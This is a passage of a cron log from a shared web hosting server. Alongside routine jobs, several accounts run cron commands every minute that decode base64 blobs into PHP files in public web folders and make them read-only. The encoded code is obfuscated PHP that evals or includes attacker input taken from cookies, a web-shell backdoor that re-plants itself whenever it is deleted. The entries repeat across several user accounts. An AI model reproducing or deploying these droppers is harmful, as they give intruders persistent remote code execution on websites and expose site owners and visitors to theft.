ICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:27:02 medusa CROND[8930]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:27:02 medusa CROND[8931]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:27:02 medusa CROND[8933]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:27:02 medusa CROND[8937]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:27:02 medusa CROND[8945]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:27:02 medusa CROND[8946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:27:02 medusa CROND[8947]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:27:02 medusa CROND[8948]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:28:01 medusa CROND[707]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:28:01 medusa CROND[708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:28:01 medusa CROND[760]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:28:01 medusa CROND[764]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:28:01 medusa CROND[765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:28:01 medusa CROND[766]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:28:01 medusa CROND[767]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:28:01 medusa CROND[768]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 17:28:01 medusa CROND[769]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:28:01 medusa CROND[775]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:28:01 medusa CROND[771]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 17:28:01 medusa CROND[777]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:28:01 medusa CROND[780]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:28:01 medusa CROND[778]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:29:01 medusa CROND[24980]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 17:29:01 medusa CROND[25070]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:29:01 medusa CROND[25071]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 17:29:01 medusa CROND[25074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:29:01 medusa CROND[25075]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:29:01 medusa CROND[25079]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:29:01 medusa CROND[25076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:29:01 medusa CROND[25080]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:29:01 medusa CROND[25078]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:29:01 medusa CROND[25081]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:29:01 medusa CROND[25089]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:29:01 medusa CROND[25096]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZH